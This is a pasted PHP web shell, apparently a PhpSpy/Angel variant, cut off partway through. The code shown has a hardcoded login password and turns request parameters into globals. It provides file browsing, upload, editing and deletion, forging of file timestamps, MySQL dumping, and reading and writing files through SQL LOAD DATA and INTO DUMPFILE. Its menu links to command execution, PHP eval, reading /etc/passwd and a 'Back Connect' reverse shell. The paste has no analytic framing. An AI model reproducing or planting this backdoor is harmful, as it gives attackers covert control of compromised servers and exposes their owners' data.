· 6 years ago · Apr 25, 2019, 04:04 AM
1<?php
2error_reporting(7);
3
4@set_magic_quotes_runtime(0);
5
6ob_start();
7
8$mtime = explode(' ', microtime());
9
10$starttime = $mtime[1] + $mtime[0];
11
12define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
13
14//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
15
16define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
17
18define('IS_COM', class_exists('COM') ? 1 : 0 );
19
20define('IS_GPC', get_magic_quotes_gpc());
21
22$dis_func = get_cfg_var('disable_functions');
23
24define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
25
26@set_time_limit(0);
27
28
29
30foreach(array('_GET','_POST') as $_request) {
31
32 foreach($$_request as $_key => $_value) {
33
34 if ($_key{0} != '_') {
35
36 if (IS_GPC) {
37
38 $_value = s_array($_value);
39
40 }
41
42 $$_key = $_value;
43
44 }
45
46 }
47
48}
49$admin = array();
50
51$admin['check'] = true;
52
53$admin['pass'] = 'anhsaoxanh';
54
55$admin['cookiepre'] = '';
56
57$admin['cookiedomain'] = '';
58
59$admin['cookiepath'] = '/';
60
61$admin['cookielife'] = 86400;
62if ($charset == 'utf8') {
63
64 header("content-Type: text/html; charset=utf-8");
65
66} elseif ($charset == 'big5') {
67
68 header("content-Type: text/html; charset=big5");
69
70} elseif ($charset == 'gbk') {
71
72 header("content-Type: text/html; charset=gbk");
73
74} elseif ($charset == 'latin1') {
75
76 header("content-Type: text/html; charset=iso-8859-2");
77
78}
79
80
81
82$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
83
84$timestamp = time();
85
86
87
88/*===================== Login =====================*/
89
90if ($action == "logout") {
91
92 scookie('vbapass', '', -86400 * 365);
93
94 p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
95
96 p('<body style="color:black;">');
97
98 exit;
99
100}
101
102if($admin['check']) {
103
104 if ($doing == 'login') {
105
106 if ($admin['pass'] == $password) {
107
108 scookie('vbapass', $password);
109
110
111
112
113
114 p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
115
116 p('<body style="color:black;">
117
118<BR><BR><div align=center><font color=yellow face=tahoma size=2>Waiting...<BR></div>');
119
120 exit;
121
122 }
123
124
125
126 else
127
128 {
129
130 $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>';
131
132echo $err_mess;
133
134 }}
135
136 if ($_COOKIE['vbapass']) {
137
138 if ($_COOKIE['vbapass'] != $admin['pass']) {
139
140 loginpage();
141
142 }
143
144 } else {
145
146 loginpage();
147
148 }
149
150}
151
152$errmsg = '';
153if ($action == 'phpinfo') {
154
155 if (IS_PHPINFO) {
156
157 phpinfo();
158
159 } else {
160
161 $errmsg = 'phpinfo() function has non-permissible';
162
163 }
164
165}
166if ($doing == 'downfile' && $thefile) {
167
168 if (!@file_exists($thefile)) {
169
170 $errmsg = 'The file you want Downloadable was nonexistent';
171
172 } else {
173
174 $fileinfo = pathinfo($thefile);
175
176 header('Content-type: application/x-'.$fileinfo['extension']);
177
178 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
179
180 header('Content-Length: '.filesize($thefile));
181
182 @readfile($thefile);
183
184 exit;
185
186 }
187
188}
189
190
191
192
193
194if ($doing == 'backupmysql' && !$saveasfile) {
195
196 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
197
198 $table = array_flip($table);
199
200 $result = q("SHOW tables");
201
202 if (!$result) p('<h2>'.mysql_error().'</h2>');
203
204 $filename = basename($_SERVER['HTTP_HOST'].'sql.gz');
205
206 header('Content-type: application/unknown');
207
208 header('Content-Disposition: attachment; filename='.$filename);
209
210 $mysqldata = '';
211
212 while ($currow = mysql_fetch_array($result)) {
213
214 if (isset($table[$currow[0]])) {
215
216 $mysqldata .= sqldumptable($currow[0]);
217
218 }
219
220 }
221
222 mysql_close();
223
224 exit;
225
226}
227
228
229
230// Mysql
231
232if($doing=='mysqldown'){
233
234 if (!$dbname) {
235
236 $errmsg = 'Please input dbname';
237
238 } else {
239
240 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
241
242 if (!file_exists($mysqldlfile)) {
243
244 $errmsg = 'The file you want Downloadable was nonexistent';
245
246 } else {
247
248 $result = q("select load_file('$mysqldlfile');");
249
250 if(!$result){
251
252 q("DROP TABLE IF EXISTS tmp_angel;");
253
254 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
255
256 //Download SQL
257
258 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
259
260 $result = q("select content from tmp_angel");
261
262 q("DROP TABLE tmp_angel");
263
264 }
265
266 $row = @mysql_fetch_array($result);
267
268 if (!$row) {
269
270 $errmsg = 'Load file failed '.mysql_error();
271
272 } else {
273
274 $fileinfo = pathinfo($mysqldlfile);
275
276 header('Content-type: application/x-'.$fileinfo['extension']);
277
278 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
279
280 header("Accept-Length: ".strlen($row[0]));
281
282 echo $row[0];
283
284 exit;
285
286 }
287
288 }
289
290 }
291
292}
293
294
295
296?>
297
298<html>
299
300<head>
301
302<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
303
304<title><?php echo str_replace('.','','WorkSpace');?></title>
305
306<style type="text/css">
307
308body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}
309
310
311
312a {color: #74A202;text-decoration:none;}
313
314a:hover{color: #f00;text-decoration:underline;}
315
316.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
317
318.alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
319
320.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
321
322.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
323
324.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
325
326.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
327
328.head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
329
330.head td span{font-weight:normal;}
331
332form{margin:0;padding:0;}
333
334h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
335
336ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
337
338u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
339
340input, textarea, button
341
342{
343
344 font-size: 9pt;
345
346 color: #ccc;
347
348 font-family: verdana, sans-serif;
349
350 background-color: #202020;
351
352 border-left: 1px solid #74A202;
353
354 border-top: 1px solid #74A202;
355
356 border-right: 1px solid #74A202;
357
358 border-bottom: 1px solid #74A202;
359
360}
361
362select
363
364{
365
366 font-size: 8pt;
367
368 font-weight: normal;
369
370 color: #ccc;
371
372 font-family: verdana, sans-serif;
373
374 background-color: #202020;
375
376}
377
378
379
380</style>
381
382<script type="text/javascript">
383
384function CheckAll(form) {
385
386 for(var i=0;i<form.elements.length;i++) {
387
388 var e = form.elements[i];
389
390 if (e.name != 'chkall')
391
392 e.checked = form.chkall.checked;
393
394 }
395
396}
397
398function $(id) {
399
400 return document.getElementById(id);
401
402}
403
404function goaction(act){
405
406 $('goaction').action.value=act;
407
408 $('goaction').submit();
409
410}
411
412</script>
413
414</head>
415
416<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black>
417
418
419
420
421
422<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
423
424 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
425
426 <tr>
427
428 <td align="center" valign=center>
429
430 <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
431
432 Loading...
433
434 </div>
435
436 </td>
437
438 </tr>
439
440 </table>
441
442</div>
443
444 <script>
445
446 var ld=(document.all);
447
448 var ns4=document.layers;
449
450 var ns6=document.getElementById&&!document.all;
451
452 var ie4=document.all;
453
454 if (ns4)
455
456 ld=document.loading;
457
458 else if (ns6)
459
460 ld=document.getElementById("loading").style;
461
462 else if (ie4)
463
464 ld=document.all.loading.style;
465
466 function init()
467
468 {
469
470 if(ns4){ld.visibility="hidden";}
471
472 else if (ns6||ie4) ld.display="none";
473
474 }
475
476 </script>
477
478
479
480
481
482
483
484
485
486<table width="100%" border="0" cellpadding="0" cellspacing="0">
487
488 <tr class="head_small">
489
490 <td width=100%>
491
492 <table width=100%>
493
494 <td>
495
496 <span style="float:right;"> Hostname: <a href="http://<?php echo $_SERVER['HTTP_HOST'];?>" target="_blank"><?php echo $_SERVER['HTTP_HOST'];?></a> | <a href="javascript:goaction('logout');"><font color=red>Logout</font></a></span>
497
498
499
500 <?php
501
502 $curl_on = @function_exists('curl_version');
503
504 $mysql_on = @function_exists('mysql_connect');
505
506 $mssql_on = @function_exists('mssql_connect');
507
508 $pg_on = @function_exists('pg_connect');
509
510 $ora_on = @function_exists('ocilogon');
511
512
513
514echo (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));
515
516echo "PHP version: <b>".@phpversion()."</b> - ";
517
518 echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
519
520 echo "MySQL: <b>";
521
522$mysql_on = @function_exists('mysql_connect');
523
524if($mysql_on){
525
526echo "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }
527
528echo "MSSQL: <b>";
529
530$mssql_on = @function_exists('mssql_connect');
531
532if($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
533
534echo "PostgreSQL: <b>";
535
536$pg_on = @function_exists('pg_connect');
537
538if($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
539
540echo "Oracle: <b>";
541
542$ora_on = @function_exists('ocilogon');
543
544if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}
545
546
547
548echo "Disable functions : <b>";
549
550if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}
551
552
553
554echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
555
556echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
557
558 ?> </td>
559
560 </tr></table></td>
561
562 </tr>
563
564 <tr class="alt1">
565
566 <td width=100%><span style="float:right;">[Server IP: <?php echo "<font color=yellow>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";?>] </span>
567
568
569
570 <a href="javascript:goaction('file');">File Manager</a> |
571
572 <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
573
574 <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
575
576 <a href="javascript:goaction('shell');">Execute Command</a> |
577
578 <a href="javascript:goaction('phpenv');">PHP Variable</a> |
579
580 <a href="javascript:goaction('eval');">Eval PHP Code</a>
581 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a> <?php }?>
582
583 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?> |
584 <a href="http://vnline.co/<?php echo ($_SERVER['SERVER_NAME']);?>.s" target="_blank">Reverse IP</a>
585 </td>
586
587 </tr>
588
589</table>
590
591<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
592
593<?php
594
595
596
597formhead(array('name'=>'goaction'));
598
599makehide('action');
600
601formfoot();
602
603
604
605$errmsg && m($errmsg);
606
607
608
609// Dir function
610
611!$dir && $dir = '.';
612
613$nowpath = getPath(SA_ROOT, $dir);
614
615if (substr($dir, -1) != '/') {
616
617 $dir = $dir.'/';
618
619}
620
621$uedir = ue($dir);
622
623
624
625if (!$action || $action == 'file') {
626
627
628
629 // Non-writeable
630
631 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
632
633
634
635 // Delete dir
636
637 if ($doing == 'deldir' && $thefile) {
638
639 if (!file_exists($thefile)) {
640
641 m($thefile.' directory does not exist');
642
643 } else {
644
645 m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
646
647 }
648
649 }
650
651
652
653 // Create new dir
654
655 elseif ($newdirname) {
656
657 $mkdirs = $nowpath.$newdirname;
658
659 if (file_exists($mkdirs)) {
660
661 m('Directory has already existed');
662
663 } else {
664
665 m('Directory created '.(@mkdir($mkdirs,0755) ? 'success' : 'failed'));
666
667 @chmod($mkdirs,0755);
668
669 }
670
671 }
672
673
674
675 // Upload file
676
677 elseif ($doupfile) {
678
679 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
680
681 }
682
683
684
685 // Edit file
686
687 elseif ($editfilename && $filecontent) {
688
689 $fp = @fopen($editfilename,'w');
690
691 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
692
693 @fclose($fp);
694
695 }
696
697
698
699 // Modify
700
701 elseif ($pfile && $newperm) {
702
703 if (!file_exists($pfile)) {
704
705 m('The original file does not exist');
706
707 } else {
708
709 $newperm = base_convert($newperm,8,10);
710
711 m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
712
713 }
714
715 }
716
717
718
719 // Rename
720
721 elseif ($oldname && $newfilename) {
722
723 $nname = $nowpath.$newfilename;
724
725 if (file_exists($nname) || !file_exists($oldname)) {
726
727 m($nname.' has already existed or original file does not exist');
728
729 } else {
730
731 m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
732
733 }
734
735 }
736
737
738
739 // Copu
740
741 elseif ($sname && $tofile) {
742
743 if (file_exists($tofile) || !file_exists($sname)) {
744
745 m('The goal file has already existed or original file does not exist');
746
747 } else {
748
749 m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
750
751 }
752
753 }
754
755
756
757 // File exit
758
759 elseif ($curfile && $tarfile) {
760
761 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
762
763 m('The goal file has already existed or original file does not exist');
764
765 } else {
766
767 $time = @filemtime($tarfile);
768
769 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
770
771 }
772
773 }
774
775
776
777 // Date
778
779 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
780
781 if (!@file_exists($curfile)) {
782
783 m(basename($curfile).' does not exist');
784
785 } else {
786
787 $time = strtotime("$year-$month-$day $hour:$minute:$second");
788
789 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
790
791 }
792
793 }
794
795
796
797 // Download
798
799 elseif($doing == 'downrar') {
800
801 if ($dl) {
802
803 $dfiles='';
804
805 foreach ($dl as $filepath => $value) {
806
807 $dfiles.=$filepath.',';
808
809 }
810
811 $dfiles=substr($dfiles,0,strlen($dfiles)-1);
812
813 $dl=explode(',',$dfiles);
814
815 $zip=new PHPZip($dl);
816
817 $code=$zip->out;
818
819 header('Content-type: application/octet-stream');
820
821 header('Accept-Ranges: bytes');
822
823 header('Accept-Length: '.strlen($code));
824
825 header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'sql');
826
827 echo $code;
828
829 exit;
830
831 } else {
832
833 m('Please select file(s)');
834
835 }
836
837 }
838
839
840
841 // Delete file
842
843 elseif($doing == 'delfiles') {
844
845 if ($dl) {
846
847 $dfiles='';
848
849 $succ = $fail = 0;
850
851 foreach ($dl as $filepath => $value) {
852
853 if (@unlink($filepath)) {
854
855 $succ++;
856
857 } else {
858
859 $fail++;
860
861 }
862
863 }
864
865 m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail);
866
867 } else {
868
869 m('Please select file(s)');
870
871 }
872
873 }
874
875
876
877 // Function Newdir
878
879 formhead(array('name'=>'createdir'));
880
881 makehide('newdirname');
882
883 makehide('dir',$nowpath);
884
885 formfoot();
886
887 formhead(array('name'=>'fileperm'));
888
889 makehide('newperm');
890
891 makehide('pfile');
892
893 makehide('dir',$nowpath);
894
895 formfoot();
896
897 formhead(array('name'=>'copyfile'));
898
899 makehide('sname');
900
901 makehide('tofile');
902
903 makehide('dir',$nowpath);
904
905 formfoot();
906
907 formhead(array('name'=>'rename'));
908
909 makehide('oldname');
910
911 makehide('newfilename');
912
913 makehide('dir',$nowpath);
914
915 formfoot();
916
917 formhead(array('name'=>'fileopform'));
918
919 makehide('action');
920
921 makehide('opfile');
922
923 makehide('dir');
924
925 formfoot();
926
927
928
929 $free = @disk_free_space($nowpath);
930
931 !$free && $free = 0;
932
933 $all = @disk_total_space($nowpath);
934
935 !$all && $all = 0;
936
937 $used = $all-$free;
938
939 $used_percent = @round(100/($all/$free),2);
940
941 p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');
942
943
944
945?>
946
947<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
948
949 <form action="" method="post" id="godir" name="godir">
950
951 <tr>
952
953 <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
954
955 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
956
957 <td nowrap><input class="bt" value="GO" type="submit"></td>
958
959 </tr>
960
961 </form>
962
963</table>
964
965<script type="text/javascript">
966
967function createdir(){
968
969 var newdirname;
970
971 newdirname = prompt('Please input the directory name:', '');
972
973 if (!newdirname) return;
974
975 $('createdir').newdirname.value=newdirname;
976
977 $('createdir').submit();
978
979}
980
981function fileperm(pfile){
982
983 var newperm;
984
985 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
986
987 if (!newperm) return;
988
989 $('fileperm').newperm.value=newperm;
990
991 $('fileperm').pfile.value=pfile;
992
993 $('fileperm').submit();
994
995}
996
997function copyfile(sname){
998
999 var tofile;
1000
1001 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
1002
1003 if (!tofile) return;
1004
1005 $('copyfile').tofile.value=tofile;
1006
1007 $('copyfile').sname.value=sname;
1008
1009 $('copyfile').submit();
1010
1011}
1012
1013function rename(oldname){
1014
1015 var newfilename;
1016
1017 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
1018
1019 if (!newfilename) return;
1020
1021 $('rename').newfilename.value=newfilename;
1022
1023 $('rename').oldname.value=oldname;
1024
1025 $('rename').submit();
1026
1027}
1028
1029function dofile(doing,thefile,m){
1030
1031 if (m && !confirm(m)) {
1032
1033 return;
1034
1035 }
1036
1037 $('filelist').doing.value=doing;
1038
1039 if (thefile){
1040
1041 $('filelist').thefile.value=thefile;
1042
1043 }
1044
1045 $('filelist').submit();
1046
1047}
1048
1049function createfile(nowpath){
1050
1051 var filename;
1052
1053 filename = prompt('Please input the file name:', '');
1054
1055 if (!filename) return;
1056
1057 opfile('editfile',nowpath + filename,nowpath);
1058
1059}
1060
1061function opfile(action,opfile,dir){
1062
1063 $('fileopform').action.value=action;
1064
1065 $('fileopform').opfile.value=opfile;
1066
1067 $('fileopform').dir.value=dir;
1068
1069 $('fileopform').submit();
1070
1071}
1072
1073function godir(dir,view_writable){
1074
1075 if (view_writable) {
1076
1077 $('godir').view_writable.value=1;
1078
1079 }
1080
1081 $('godir').dir.value=dir;
1082
1083 $('godir').submit();
1084
1085}
1086
1087</script>
1088
1089 <?php
1090
1091 tbhead();
1092
1093 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
1094
1095 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
1096
1097 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
1098
1099 if ($view_writable) {
1100
1101 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
1102
1103 } else {
1104
1105 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
1106
1107 }
1108
1109 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
1110
1111 if (IS_WIN && IS_COM) {
1112
1113 $obj = new COM('scripting.filesystemobject');
1114
1115 if ($obj && is_object($obj)) {
1116
1117 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
1118
1119 foreach($obj->Drives as $drive) {
1120
1121 if ($drive->DriveType == 2) {
1122
1123 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
1124
1125 } else {
1126
1127 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
1128
1129 }
1130
1131 }
1132
1133 }
1134
1135 }
1136
1137
1138
1139 p('</td></tr></form>');
1140
1141
1142
1143 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
1144
1145
1146
1147 // Get path
1148
1149 $dirdata=array();
1150
1151 $filedata=array();
1152
1153
1154
1155 if ($view_writable) {
1156
1157 $dirdata = GetList($nowpath);
1158
1159 } else {
1160
1161 // Open dir
1162
1163 $dirs=@opendir($dir);
1164
1165 while ($file=@readdir($dirs)) {
1166
1167 $filepath=$nowpath.$file;
1168
1169 if(@is_dir($filepath)){
1170
1171 $dirdb['filename']=$file;
1172
1173 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
1174
1175 $dirdb['dirchmod']=getChmod($filepath);
1176
1177 $dirdb['dirperm']=getPerms($filepath);
1178
1179 $dirdb['fileowner']=getUser($filepath);
1180
1181 $dirdb['dirlink']=$nowpath;
1182
1183 $dirdb['server_link']=$filepath;
1184
1185 $dirdb['client_link']=ue($filepath);
1186
1187 $dirdata[]=$dirdb;
1188
1189 } else {
1190
1191 $filedb['filename']=$file;
1192
1193 $filedb['size']=sizecount(@filesize($filepath));
1194
1195 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
1196
1197 $filedb['filechmod']=getChmod($filepath);
1198
1199 $filedb['fileperm']=getPerms($filepath);
1200
1201 $filedb['fileowner']=getUser($filepath);
1202
1203 $filedb['dirlink']=$nowpath;
1204
1205 $filedb['server_link']=$filepath;
1206
1207 $filedb['client_link']=ue($filepath);
1208
1209 $filedata[]=$filedb;
1210
1211 }
1212
1213 }// while
1214
1215 unset($dirdb);
1216
1217 unset($filedb);
1218
1219 @closedir($dirs);
1220
1221 }
1222
1223 @sort($dirdata);
1224
1225 @sort($filedata);
1226
1227 $dir_i = '0';
1228
1229 foreach($dirdata as $key => $dirdb){
1230
1231 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
1232
1233 $thisbg = bg();
1234
1235 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1236
1237 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
1238
1239 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
1240
1241 p('<td nowrap>'.$dirdb['mtime'].'</td>');
1242
1243 p('<td nowrap>--</td>');
1244
1245 p('<td nowrap>');
1246
1247 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
1248
1249 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
1250
1251 p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
1252
1253 p('</tr>');
1254
1255 $dir_i++;
1256
1257 } else {
1258
1259 if($dirdb['filename']=='..') {
1260
1261 p('<tr class=fout>');
1262
1263 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
1264
1265 p('</tr>');
1266
1267 }
1268
1269 }
1270
1271 }
1272
1273
1274
1275 p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
1276
1277 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
1278
1279 makehide('action','file');
1280
1281 makehide('thefile');
1282
1283 makehide('doing');
1284
1285 makehide('dir',$nowpath);
1286
1287 $file_i = '0';
1288
1289 foreach($filedata as $key => $filedb){
1290
1291 if($filedb['filename']!='..' && $filedb['filename']!='.') {
1292
1293 $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
1294
1295 $thisbg = bg();
1296
1297 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1298
1299 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
1300
1301 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
1302
1303 p('<td nowrap>'.$filedb['mtime'].'</td>');
1304
1305 p('<td nowrap>'.$filedb['size'].'</td>');
1306
1307 p('<td nowrap>');
1308
1309 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
1310
1311 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
1312
1313 p('<td nowrap>');
1314
1315 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
1316
1317 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
1318
1319 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
1320
1321 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
1322
1323 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
1324
1325 p('</td></tr>');
1326
1327 $file_i++;
1328
1329 }
1330
1331 }
1332
1333 p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
1334
1335 p('</form></table>');
1336
1337}// end dir
1338
1339
1340
1341elseif ($action == 'sqlfile') {
1342
1343 if($doing=="mysqlupload"){
1344
1345 $file = $_FILES['uploadfile'];
1346
1347 $filename = $file['tmp_name'];
1348
1349 if (file_exists($savepath)) {
1350
1351 m('The goal file has already existed');
1352
1353 } else {
1354
1355 if(!$filename) {
1356
1357 m('Please choose a file');
1358
1359 } else {
1360
1361 $fp=@fopen($filename,'r');
1362
1363 $contents=@fread($fp, filesize($filename));
1364
1365 @fclose($fp);
1366
1367 $contents = bin2hex($contents);
1368
1369 if(!$upname) $upname = $file['name'];
1370
1371 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1372
1373 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
1374
1375 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
1376
1377 }
1378
1379 }
1380
1381 }
1382
1383?>
1384
1385<script type="text/javascript">
1386
1387function mysqlfile(doing){
1388
1389 if(!doing) return;
1390
1391 $('doing').value=doing;
1392
1393 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
1394
1395 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
1396
1397 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
1398
1399 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
1400
1401 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
1402
